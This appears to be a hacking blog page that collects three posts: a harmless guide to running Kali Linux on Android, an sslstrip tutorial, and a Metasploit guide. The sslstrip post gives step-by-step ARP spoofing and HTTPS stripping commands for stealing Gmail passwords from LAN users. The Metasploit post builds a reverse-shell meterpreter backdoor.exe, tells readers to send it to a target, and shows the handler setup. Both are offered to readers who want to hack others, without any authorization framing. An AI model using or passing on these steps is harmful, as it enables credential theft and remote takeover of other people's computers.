Kali Linux on Android using Linux Deploy

<div dir="ltr" style="text-align: left;" trbidi="on"> <a href="https://www.kali.org/wp-content/uploads/2013/09/linux-deploy-kali-list-00-576x1024.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img alt="linux-deploy-kali-list-00" border="0" height="400" src="https://www.kali.org/wp-content/uploads/2013/09/linux-deploy-kali-list-00-576x1024.png" width="225" /></a>Getting Kali Linux to run on ARM hardware has been a major goal for us since day one. So far, we’ve built native images for the Samsung Chromebook, Odroid U2, Raspberry Pi, RK3306, Galaxy Note 10.1, CuBox, Efika MX, and BeagleBone Black to name a few. This however does not mean you cannot install Kali Linux in a chroot on almost any modern device that runs Android. In fact, the developers of Linux Deploy have made it extremely easy to get any number of Linux distributions installed in a chroot environment using a simple GUI builder.<br /> <h3 style="text-align: left;"> Prerequisites</h3> <ol style="text-align: left;"> <li>A device running Android 2.1 and above, rooted.</li> <li>At least 5 GB free space on internal or external storage.</li> <li>A fast, wireless internet connection.</li> <li>Patience to wait for a distribution to bootstrap from the network.</li> </ol> <h4 style="text-align: left;"> Configuring Linux Deploy for Kali</h4> There’s actually very little to be done to get Kali installed. By choosing Kali Linux in the “Distribution” tab, you’ve pretty much covered the important stuff. Optionally, you can choose your architecture, verify that the Kali mirror is correct, set your installation type and location on your Android device, etc. Generally speaking, the defaults provided by Linux Deploy are good to begin with.<br /> <h3 style="text-align: left;"> Building the Kali Image</h3> <a href="https://www.kali.org/wp-content/uploads/2013/09/install-kali-linux-deploy-300x119.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img alt="install-kali-linux-deploy" border="0" src="https://www.kali.org/wp-content/uploads/2013/09/install-kali-linux-deploy-300x119.png" /></a><br /> Once you are happy with all the settings, hitting the “install” button will start a Kali Linux bootstrap directly from our repositories. Depending on your Internet connection speed, this process could take a while. You’ll be downloading a base install of Kali Linux (with no tools) at minimum.<br /> <h3 style="text-align: left;"> Starting up your chrooted Kali</h3> <a href="https://www.kali.org/wp-content/uploads/2013/09/linux-deploy-mount-1024x847.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img alt="linux-deploy-mount" border="0" height="264" src="https://www.kali.org/wp-content/uploads/2013/09/linux-deploy-mount-1024x847.png" width="320" /></a>Once the installation is complete, you can have Linux Deploy automatically mount and load up your Kali Linux chroot image. This also includes the starting of services such as SSH and VNC for easier remote access. All of this is automagically done by hitting the “start” button. You should see Linux Deploy setting up your image with output similar to the following:<br /> <br /> At this stage, Linux Deploy has started a VNC and SSH server inside your chrooted Kali image. You can connect to the Kali session remotely using the IP address assigned to your Android device (in my case, 10.0.0.10).<br /> <h3 style="text-align: left;"> Logging in to your chrooted Kali</h3> Now you can use either a SSH or VNC client to access your Kali instance. The VNC password is “changeme” and the SSH credentials are “android” for the username (configured via Linux Deploy) and “changeme” as the password.<br /> <blockquote class="tr_bq"> muts@slim:~$ ssh android@10.0.0.10<br /> android@10.0.0.10 password:<br /> Linux localhost 3.4.5-447845 #1 SMP PREEMPT Fri Apr 12 17:22:34 KST 2013 armv7l<br /> Kali GNU/Linux 1.0 [running on Android via Linux Deploy]<br /> android@localhost:~$ sudo su<br /> root@localhost:/home/android# df<br /> Filesystem 1K-blocks Used Available Use% Mounted on<br /> /dev/loop3 4180944 667268 3304012 17% /<br /> tmpfs 952708 80 952628 1% /dev<br /> tmpfs 952708 0 952708 0% /dev/shm<br /> root@localhost:/home/android#<br /> root@localhost:/home/android# apt-get update<br /> Hit http://http.kali.org kali Release.gpg<br /> Hit http://http.kali.org kali Release<br /> Hit http://http.kali.org kali/main Sources<br /> Hit http://http.kali.org kali/contrib Sources<br /> Hit http://http.kali.org kali/non-free Sources<br /> Hit http://http.kali.org kali/main armel Packages<br /> Hit http://http.kali.org kali/contrib armel Packages<br /> Hit http://http.kali.org kali/non-free armel Packages<br /> Ign http://http.kali.org kali/contrib Translation-en_US<br /> Ign http://http.kali.org kali/contrib Translation-en<br /> Ign http://http.kali.org kali/main Translation-en_US<br /> Ign http://http.kali.org kali/main Translation-en<br /> Ign http://http.kali.org kali/non-free Translation-en_US<br /> Ign http://http.kali.org kali/non-free Translation-en<br /> Reading package lists... Done<br /> root@localhost:/home/android#</blockquote> If left unchanged, Linux Deploy will automatically set an image size of around 4 GB, for a “naked” installation of Kali. If you would like to install additional Kali tools down the road, you might want to consider using a larger image size, which is configurable via the settings in Linux Deploy.<br /> <br /> Local VNC Connections<br /> <br /> We had to try a couple of VNC clients to get one to work properly. Although controlling Kali through a local VNC client isn’t the most convenient of tasks, it certainly is possible. However, we suspect that most people will be SSH’ing into this instance. The picture below was overlayed with a Kali Linux desktop screenshot taken from a Galaxy S4.<br /> <div style="text-align: center;"> <img height="426" src="https://www.kali.org/wp-content/uploads/2013/09/galaxy-s4-kali-linux.jpg" width="640" /></div> </div>

Kali Linux on Android using Linux Deploy

Getting Kali Linux to run on ARM hardware has been a major goal for us since day one. So far, we’ve built native images for the Samsung Chr...

Read more »

How to use sslstrip in kali linux

<div dir="ltr" style="text-align: left;" trbidi="on"> <b>Intro</b> – In this tutorial we will use sslstrip for stealing password from any PC which is connected in LAN. SSLStrip basically hijacks HTTP traffic. Now a days its little difficult to steal password of some website. <br /> <br /> 1. How to open<br /> A. GUI Method<br /> <blockquote class="tr_bq"> Application →Kali Linux → Information gathering → SSL Analysis → sslstrip</blockquote> <div style="text-align: center;"> <img height="358" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLPVMNk8im_E-6d8cdSR5b2Y5mOIufA1S_jXojIpdCSVkNOuOnNg_-PcZp2V67HS_yqeoTji3vWj_p6eh97rZoz8of9gozQQlAZrHEkaDP-qjeHpe69bQ7aMi9BAP3KGsTQx8kl9T5iOBZ/s640/1_new.jpg" width="640" /></div> B. Open terminal type<b> sslstrip –h</b> this command will open sslstrip with help option<br /> <div style="text-align: center;"> <img height="325" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2naU7MX0vqjSGEwsYh65Tc7GuRk4RC9UxxwRF9zXPs5906buYwME9BOHYtxj2JqKrG3H9ohv1IIAhy4kX25Kk-XdBbAY1kk2Dz7U-YePN7VuoBBEgcuwWHe8ejqIafeles22l5eImAU_7/s640/1b_new.jpg" width="640" /></div> Before starting sslstrip we need to do some other works for trapping our target<br /> a.       IP forwarding<br /> b.      IP table for redirect 80 to 8080<br /> c.       Finding Gateway IP<br /> d.      Finding Target IP<br /> e.      Arpspoof<br /> <br /> 2. This command is used to enable IP forwarding.<br /> <blockquote class="tr_bq"> Syntax – echo ‘1’ > /proc/sys/net/ipv4/ip_forward</blockquote> <div style="text-align: center;"> <img height="129" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZqWAtYqIrzpojLs3gu_pOOhryMCxJ5RcJ_DRQM3LsXrgUqV2sB1Vg_x7lyxyKKEZ1coOuZc3MU4WEgF_-KulL7n0MSzfpDUmmTzWbu8cQrnSfptLAcFM1pV-3WZdhWRp0TxjiG9DV4KM7/s640/2_new.jpg" width="640" /></div> 3. This command is use to redirect requests from port 80 to port 8080 to ensure our outgoing connections (from SSL Strip) get routed to the proper port.<br /> <blockquote class="tr_bq"> Syntax – iptables –t nat –A PREROUTING –p tcp –destination-port 80 –j REDIRECT –to-port 8080</blockquote> <div style="text-align: center;"> <img height="74" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO8ReA148XhNSM3fL273Yk4Zh1_YnFdU21VvZd4KHR8fGzAUscLvQvrC4BNDQJOZLWQkcVyLm1Gi483D3Bh5fImJE1Fe8QNHebRiChspjENspevzX8mkpMHhia-iMn-pHqVX3omdBmd88h/s640/3_new.jpg" width="640" /></div> 4. This command is used to find out gateway IP.<br /> <blockquote class="tr_bq"> Syntax – netstat -nr</blockquote> <div style="text-align: center;"> <img height="117" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikI2TuEKCtTTpzb3nt5Kvce3mBEg77YjuzsmQBJrzaglyiZUP_UZMABiAXT2aw5m-LwxYwAu7Co07WkboyRJ1Ogy2140q63lQTx_oZwnH46SeWmMXF_bTGO8kDh6XM8Gk9mrCxVwQwAEQS/s640/4_new.jpg" width="640" /></div> 5. This is our Target OS Windows XP, by using ipconfig we got the target IP. I know you are thinking if I want to trap a unknown LAN PC then how will we find out the IP address. Well its not more difficult some Social engineering can do your job. Come to the point on sslstrip tutorial. So note down the target IP.<br /> <div style="text-align: center;"> <img height="321" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigYc0FaSIbDyrx_3fCLo3KvzIwiAvkCuETqPhdUDXM6n7ako9irEtO94levEzryYfkab6kkBno6GXLgYBBUQQnu2hBQzDvbfeOn6BDckk1BJl4zSHEQuwuimCEVsz2XMPCewUQXk2ZOsJr/s640/5_new.jpg" width="640" /></div> 6. This command is use to redirect all network HTTP traffic through our computer using ARPSpoof (don’t forget to enable IP forwarding before this)<br /> <blockquote class="tr_bq"> Syntax – arpspoof –i interface –t target IP –r gateway Ip</blockquote> Ex – arpspoof –i eth0 –t 192.168.71.128 –r 192.168.71.2<br /> <div style="text-align: center;"> <img height="232" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFXy0OGs_Hn3CqOxuQr20fqEz_fUFRdhiK8-6iL0TItWjHPrfbMPrLDbXVPtIvThXq-TtRkPzNp50UY1BgHk9Y3pX8WBA2fqG86_Jp6Q5Qde8RD7R6BsIbRxHkyhH3rT33XIqAunhGzXeM/s640/6_new.jpg" width="640" /></div> 7.  Now we need to open a new terminal because this terminal is running arpspoof and we can’t stop it right now.<br /> <img height="237" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9CzlbCkdcJuNeJ3yJqQ0gtae1b9IcYb2JjLhuDZrYZXDcdpIM5GIerdMbS1DBu-T9LhptCpu8LtVmewMgHJEBT_PaYZZYdLGixPPgcrfUJA8KHZxQSNc2n-7ktQWCz5WYMLVR0OFLWa_z/s640/7_new.jpg" style="text-align: center;" width="640" /><br /> 8.  In new terminal use this command , This command is used to listening port. "-l" tells the system to listen on specified port.<br /> <blockquote class="tr_bq"> Syntax – sslstrip –l 8080</blockquote> <div style="text-align: center;"> <img height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCD_0gxfaAtqXQ0A2UXw89TXwjttdfB-uHpjIMOrLYmijgGVFulnUtZtjSL3xGOAbGI2JMIMs0taqkoj9RRLm4ow_svWNuV7j1wC1EEfZOTDkWY5z6unaghjQ-tKL16g16Qb-rvCepiB0E/s640/8_new.jpg" width="640" /></div> 9. Now come to the target OS and open www.gmail.com  and enter your username and password than click on sign in. Its normally like we are use for checking our gmail.<br /> <div style="text-align: center;"> <img height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLgx3rAmjeDYxQ9N_EHlrd763yimthGC_0kwTVVIDVe9d5B8kRpw6fhjydwi0roCse09ryaSxLDvU8X0hc9Ppv0hP5ztc2dL6TkmxVGVT89BajV4-7IaGgCEZAsieWMQX74HWWS4AYoCpm/s640/9_new.jpg" width="640" /></div> 10. after clicking sign in on target os come to the attacker PC (Kali Linux). You will see sslstrip capture some data after finishing the capture press ctrl + C for stopping sslstrip. Data automatically save in a file named sslstrip.log.<br /> <div style="text-align: center;"> <img height="393" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvRqasJR_f87D678GIrrZY13weMe_sNzkvC-D6ZbQWqYlca09Fy1_Wu3DbVRKw_52D-HzrVBXM87YBmDNBD_fuU1xL5QhNhR8uI_-D4YxLz0s8PSpPnnYbJs2oo1jT1x4KCc4lmxYiFhPN/s640/10_new.jpg" width="640" /></div> <div style="text-align: center;"> <br /></div> <div style="text-align: center;"> <img height="290" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZGXUyVVpZ_9rGEhSbdnnuPXfm_bZwCXuHjx8JKaBWIUYZkQ13qtl4L3CUMWFt357xHBCIXAzIRNyk2uZOdeKMhWsW-Ii7e6YXR01kFW8DhQYYvjaWRFnGYNVrLd6ejV6qNwVT7nMC5x0M/s640/10a_new.jpg" width="640" /></div> 11. Here use ls command so you can see the saved file as sslstrip.log.<br /> <div style="text-align: center;"> <img height="129" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB6MAxlatcbQA5Y1YieXZVgTozOEaCU9W2oVCRiEeWcSxnR-OeXuwaHxzNaitb_gbfNXsoPmskj3a8XhuQfrhu9yJqLxVtwzoF17jWIFVupscI-g8xwUTuq6sK3XXbdF-P-UamSACxA0WH/s640/11_new.jpg" width="640" /></div> 12. use cat and open your sslstrip.log file and watch carefully. Hmm there is your victim email id and password as shown in image.<br /> <blockquote class="tr_bq"> Syntax – cat sslstrip.log</blockquote> <div style="text-align: center;"> <img height="197" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjA5R9VRpweHuAQYG0iVqF7aHeOguZIHsSJAVRbtleJxLtlismmXKyu48850_d9a2CBBeWSZa4dME_PVJwi8PK8k1JpbHqoy1dhCzjU5XNWizpPiI1lbGHyTgfA0Xt8e7aiBv1A3STUvNvy/s640/12_new.jpg" width="640" /></div> All in one(do like this)</div>

How to use sslstrip in kali linux

Intro – In this tutorial we will use sslstrip for stealing password from any PC which is connected in LAN. SSLStrip basically hijacks HTTP...

Read more »

How To Hack Windows Users with Metasploits !

<div dir="ltr" style="text-align: left;" trbidi="on"> <div style="text-align: center;"> <img src="https://kevinkirsche.com/content/images/2015/07/msf.png" /></div> <h3 style="text-align: left;"> Hacking Windows Users with Metasploit</h3> Hi, welcome to Fadu Hack. Do you ever wanted to hack other’s computer in your life? If yes, well i’m here to help you. In this guide we are going to hack any Windows users by using Metasploit frameworks. Before we proceed, please read and understand these first.<br /> <h3 style="text-align: left;"> Metasploit</h3> A computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development.<br /> <h3 style="text-align: left;"> Exploit</h3> An exploit is the means by which an attacker, or pentester for that matter, takes  advantage of a flaw within a system, an application, or a service. An attacker  uses an exploit to attack a system in a way that results in a particular desired  outcome that the developer never intended. Common exploits include buffer  overflows, web application vulnerabilities (such as SQL injection), and configuration errors.<br /> <h3 style="text-align: left;"> Payload</h3> A payload is code that we want the system to execute and that is to be selected  and delivered by the Framework. For example, a reverse shell is a payload that  creates a connection from the target machine back to the attacker as a Windows command prompt, whereas a bind shell is a payload that  “binds” a command prompt to a listening port on the target machine, which  the attacker can then connect. A payload could also be something as simple as  a few commands to be executed on the target operating system.<br /> <h3 style="text-align: left;"> Meterpreter</h3> An advanced, dynamically extensible payload that uses in-memory DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more.<br /> <h3 style="text-align: left;"> Requirements</h3> <br /> <ul style="text-align: left;"> <li><a href="http://www.backtrack-linux.org/downloads/">Pentesting Operating System</a> (I recommend Kali Linux)</li> <li>Metasploit Framework (Already installed in most Security OS)</li> <li>Basic knowledge</li> </ul> <h3 style="text-align: left;"> Preparing the Backdoor</h3> <br /> <br /> <ul style="text-align: left;"> <li>Open up your Terminal and type in this command</li> </ul> <br /> <blockquote class="tr_bq"> root@kali:~#msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=88 X>backdoor.exe</blockquote> <br /> <ul style="text-align: left;"> <li>Once the process completed, send the backdoor to your target.</li> </ul> <br /> <h3 style="text-align: left;"> Explanation</h3> The command will set the Payload for our backdoor as reverse tcp for Windows. The LHOST and LPORT is the Ip address and port you want the victim to connect to. Change the LHOST to your IP address in LAN(Local Area Network) and not public/external IP address. You can lookup your IP by typing into Terminal ifconfig. If you want to target people on WAN(Wide Area Network) /Internet you need to port foward first and then you can use your Public/external IP Address. Not to forget, the LPORT number is up to you what number you want to put as long as the port is not in use by other service.<br /> <h3 style="text-align: left;"> Prepare to Attack</h3> <br /> <ul style="text-align: left;"> <li>Once again, open another terminal and type these commands</li> </ul> <br /> <blockquote class="tr_bq"> root@kali:~#service postgresql start<br />root@kali:~#service metasploit start</blockquote> <br /> <ul style="text-align: left;"> <li>Or you can directly start the service by go to Application>Kali Linux>System Services>Metasploits>Start</li> <li>After the initialization process completed, type msfconsole in the terminal. This will takes a moment.</li> <li>Type in these command</li> </ul> <br /> <blockquote class="tr_bq"> msf > use exploit/multi/handler<br />msf exploit (handler) > set PAYLOAD windows/meterpreter/reverse_tcp<br />msf exploit (handler) > set LHOST your_ip_here<br />msf exploit (handler) > set LPORT your_port_here<br />msf exploit (handler) > exploit</blockquote> <h3 style="text-align: left;"> Explanation</h3> As you can see the service postgresql start and service metasploit start is to start the service. The command use exploit/multi/handler and set PAYLOAD windows/meterpreter/reverse_tcp means that we are going to use metasploit handler and the same exploit that we used to make our backdoor earlier. If you type show options, you will see the LHOST and LPORT are not set up correctly. That’s why we need to set the LHOST and LPORT again with the IP address and port that we use previously for our backdoor. Exploit? I hope you know what that command does.<br /> <h3 style="text-align: left;"> Attacking</h3> <br /> <ul style="text-align: left;"> <li>Lets say we have hit a target, so you will see this coming out from your terminal</li> </ul> <br /> <blockquote class="tr_bq"> [*] Started reverse handler on 162.198.37.130:86<br />[*] Starting the payload handler …<br />[*] Sending stage (769024 bytes) to 162.198.37.134<br />[*] Meterpreter session 1 opened (162.198.37.130:86 -> 162.198.37.134:49280 at 2015-07-18<br />meterpreter></blockquote> <br /> <ul style="text-align: left;"> <li>Once it says meterpreter session opened, you now can do anything as you like. For example see the Victim system info. Simply type in sysinfo in the terminal.</li> <li>You also can download and upload files from/to Victim PC</li> <li>For more commands, type in help and you will see bunch of commands</li> </ul> <br /> That’s all hope this helps! <img alt="😀" src="http://s.w.org/images/core/emoji/72x72/1f600.png" /></div>

How To Hack Windows Users with Metasploits !

Hacking Windows Users with Metasploit Hi, welcome to Fadu Hack. Do you ever wanted to hack other’s computer in your life? If yes, well ...

Read more »